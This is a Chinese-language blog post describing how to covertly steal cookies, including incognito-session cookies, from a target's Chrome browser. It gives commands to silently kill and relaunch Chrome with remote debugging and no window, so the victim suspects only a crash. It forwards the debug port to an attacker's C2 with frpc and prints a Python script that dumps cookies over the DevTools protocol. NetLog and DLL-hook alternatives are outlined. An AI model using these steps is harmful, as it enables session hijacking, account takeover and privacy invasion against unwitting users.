遇到的问题
在某些工作需求中,需要获取用户当前浏览器中的Cookies。由于目标比较严谨,使用了chrome浏览器的无痕模式,因此无法通过复制cookies文件解密的方式获取明文cookie。
那么,隐私模式真的可以保护你的cookie了吗?
Chrome架构
Chrome浏览器是多进程架构,有三种进程–浏览器、渲染器和插件。这也是为什么打开浏览器后默认就有6个进程的原因。

如果想详细了解架构可以参考下面提供的链接,简单来说就是Chrome会启动一个叫做“浏览器”的主进程,其余的“渲染器”进程就是每一个标签页。(这里简单理解一下,后面会利用到这个技术)

参考
Google 图解这个系列文章挺好的建议读一读。
Google 图解:Chrome 快是有原因的,科普浏览器架构
一种多核浏览器中进程复用的方法及其多核浏览器
方案一:remote debug
chrome内核的浏览器支持远程调试,但是仅支持本地访问(localhost:9222)。通过--remote-debugging-port=9222
参数指定端口启动chrome内核浏览器,即可通过localhost:9222页面同步其他浏览进程。
由于chrome内核的浏览器是多进程架构,只有一个浏览器主进程,其余的都是渲染器插件等进程,因此只要第一个启动的进程是通过remot debug方式启动,后面的一切新的标签都会被调试模式记录,重点是包括隐私窗口!



自动化获取指定网站cookie

简单说一下怎么利用,首先要通过你的远控kill掉所有的chrome进程,并通过命令行启动一个无窗口debug模式的浏览器。目标顶多会以为浏览器bug闪退,并且无弹窗不会引起怀疑。下面是一些用的到的命令。
$ wmic process where name="chrome.exe" get executablepath
获取chrome浏览器所在目录
$ taskkill /f /im chrome.exe && chrome.exe --remote-debugging-port=xxxx --no-startup-window
kill掉所有chrome进程,并重新启动无窗口浏览器。利用命令一中获取的路径执行启动命令
$ frpc.exe
端口转发到外网,剩下的就是利用脚本读取指定网站cookie(换成自己c2的ip和端口)。python3 cookies.py localhost:9222
读cookies的脚本源码
import websockets
import asyncio
import requests
import json
from sys import argv
async def getCookies(uri):
data = {"id": 1, "method": "Network.getCookies"}
command = json.dumps(data)
async with websockets.connect(uri) as websocket:
await websocket.send(command)
res = await websocket.recv()
print(f" {res}")
def getUri(url):
rep = requests.get(url)
dic = json.loads(rep.text)
res = {}
for i in range(len(dic)):
title = dic[i]['title']
wsuri = dic[i]['webSocketDebuggerUrl']
res[str(i)] = wsuri
print(str(i)+". "+title)
return res
def main(uri):
while 1:
cmd = input("> ")
if cmd=="quit":
break
asyncio.get_event_loop().run_until_complete(getCookies(uri[cmd]))
if __name__ == '__main__':
url = "http://"+argv[1]+"/json"
uri = getUri(url)
main(uri)
参考
Stealing Chrome Cookies
Chrome DevTools
方案二:NetLog
这个也是一个不错的方案,但是我并没有解决无窗口模式的问题,所以容易引起警觉,因此简单说聊一下,具体可以看参考文章。
同样需要先k掉chrome进程,通过命令行指定参数 --log-net-log="C:1.json"
,利用NetLog Viewer导入json,读取cookie。
参考
使用 Chrome NetLog 解析隱藏在 DevTools 中的 Header 資訊
方案三:DLL注入HOOK
同事也在研究的一个思路,同时某位表哥也给了我同样的思路。由于这部分的技术本人还很欠缺,因此不过多研究了。大致的思路是,HOOK某函数在浏览器https加密之前,获取明文cookie。希望后面可以填坑。
适用性
所有Chrome内核浏览器皆适用,比如最新的edge,360Chrome等等 : )。想测的话,可以自己测一下。
最终
感谢提供netlog和dll注入思路的表哥,虽然最后一种还在研究中,但学习到了很多。前两种方式也不过是临时方案,方案三才是长久之计。这篇文章只是聊一个思路,给和我同样在某些取证环节需要此方法的人,毕竟大部分同行的工作并不需要这么做。所以按需阅读,谢谢。最后,请遵守法律!
原创文章,作者:s1ye,未经授权禁止转载!如若转载,请联系作者:s1ye